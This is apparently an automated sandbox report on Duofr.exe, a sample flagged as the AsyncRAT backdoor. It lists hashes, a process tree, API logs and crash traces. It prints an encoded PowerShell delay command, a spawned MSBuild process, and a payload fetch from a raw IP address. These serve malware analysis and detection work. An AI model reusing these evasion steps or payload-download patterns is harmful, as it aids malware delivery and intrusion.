Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Feb. 3, 2022, 10:33 a.m.	Feb. 3, 2022, 10:40 a.m.

Size	71.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`17b7947b1bc3f86230a24d9d5fade7a4`
SHA256	`eb0b913b17bd8df4bed4f56f432d1b00f98d18b4c59afa7070c29b1c33183b80`
CRC32	`BD64FBE8`
ssdeep	`1536:zRS1Y22V9eODkFaHJ0cYeWQzPhOvVihneW9+I:N22V9nDke0wz5OdRSD`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware IsPE32 - (no description) Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Duofr.exe "C:\Users\test22\AppData\Local\Temp\Duofr.exe"
2836
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMgAwAA==
  2944
  - cmd.exe "C:\Windows\system32\cmd.exe" /c timeout 20
    2064
    - timeout.exe timeout 20
      1992
- MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  2128

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
91.92.120.126	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (11 events)

Time & API	Arguments	Status	Return
GetComputerNameW Feb. 3, 2022, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Feb. 3, 2022, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:33 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:34 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Feb. 3, 2022, 10:34 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (5 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 3, 2022, 10:33 a.m.			0	0
IsDebuggerPresent Feb. 3, 2022, 10:33 a.m.			0	0
IsDebuggerPresent Feb. 3, 2022, 10:33 a.m.			0	0
IsDebuggerPresent Feb. 3, 2022, 10:34 a.m.			0	0
IsDebuggerPresent Feb. 3, 2022, 10:34 a.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Feb. 3, 2022, 10:33 a.m.	buffer: Waiting for 20 console_handle: 0x00000007	1	1	0
WriteConsoleW Feb. 3, 2022, 10:33 a.m.	buffer: seconds, press a key to continue ... console_handle: 0x00000007	1	1	0

Uses Windows APIs to generate a cryptographic key (44 events)

Time & API	Arguments	Status	Return
CryptExportKey Feb. 3, 2022, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00426490 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00426490 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00425d10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:34 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00425d10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003138f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314070 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003138b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003138b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003138b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003134b0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00313e70 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003141f0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 3, 2022, 10:33 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00314130 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 3, 2022, 10:33 a.m.		1	1	0

One or more processes crashed (4 events)

Time & API	Arguments	Status
__exception__ Feb. 3, 2022, 10:34 a.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x5111515 0x60120c2 0x604b2d7 0x604d07c 0x604cd36 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x6043399 0x604335b 0x604331d 0x60d1452 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d mscorlib+0x2cb060 @ 0x7213b060 0x9d25cd 0x9d0076 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 3924700 registers.edi: 1980555208 registers.eax: 16777216 registers.ebp: 3924904 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ Feb. 3, 2022, 10:34 a.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x5111515 0x60120c2 0x604b2d7 0x604d07c 0x604cd36 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x6043399 0x604335b 0x604331d 0x60d1452 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d mscorlib+0x2cb060 @ 0x7213b060 0x9d25cd 0x9d0076 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 3924700 registers.edi: 1980555208 registers.eax: 4194304 registers.ebp: 3924904 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ Feb. 3, 2022, 10:34 a.m.	stacktrace: K32EnumProcessModules+0x18 RegisterApplicationRestart-0x1be kernel32+0x3b37e @ 0x7670b37e 0x5111515 0x60120c2 0x604b2d7 0x604d07c 0x604cd36 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x60d3854 0x60d36de 0x60d3395 0x604a254 0x604a1a1 0x604a108 0x6043399 0x604335b 0x604331d 0x60d1452 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72eb1838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72eb1737 mscorlib+0x2d3711 @ 0x72143711 mscorlib+0x308f2d @ 0x72178f2d mscorlib+0x2cb060 @ 0x7213b060 0x9d25cd 0x9d0076 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72e32652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72e4264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72e42e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72ef74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72ef7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72f81dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72f81e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72f81f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x72f8416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7488f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 89 04 91 c7 45 fc fe ff ff ff ff 45 10 81 7d 10 exception.symbol: K32EnumProcessModules+0x113 RegisterApplicationRestart-0xc3 kernel32+0x3b479 exception.instruction: mov dword ptr [ecx + edx*4], eax exception.module: KERNEL32.dll exception.exception_code: 0xc0000005 exception.offset: 242809 exception.address: 0x7670b479 registers.esp: 3924700 registers.edi: 1980555208 registers.eax: 10420224 registers.ebp: 3924904 registers.edx: 0 registers.ebx: 0 registers.esi: 1 registers.ecx: 0	1
__exception__ Feb. 3, 2022, 10:34 a.m.	stacktrace: 0x581790 0x580fbb DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72792652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x727a264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x727a2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x728574ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72857610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x728e1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x728e1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x728e1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x728e416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x742ef5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x74907f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x74904de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 e0 8b 4d dc e8 93 d7 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x581c03 registers.esp: 2682320 registers.edi: 2682344 registers.eax: 0 registers.ebp: 2682356 registers.edx: 195 registers.ebx: 2682612 registers.esi: 37604544 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://91.92.120.126/Duofr.png

Performs some HTTP requests (1 event)

request

GET http://91.92.120.126/Duofr.png

Allocates read-write-execute memory (usually to unpack itself) (50 out of 253 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 720896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00550000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 786432 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00522000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:33 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00546000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Feb. 3, 2022, 10:34 a.m.	process_identifier: 2836 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
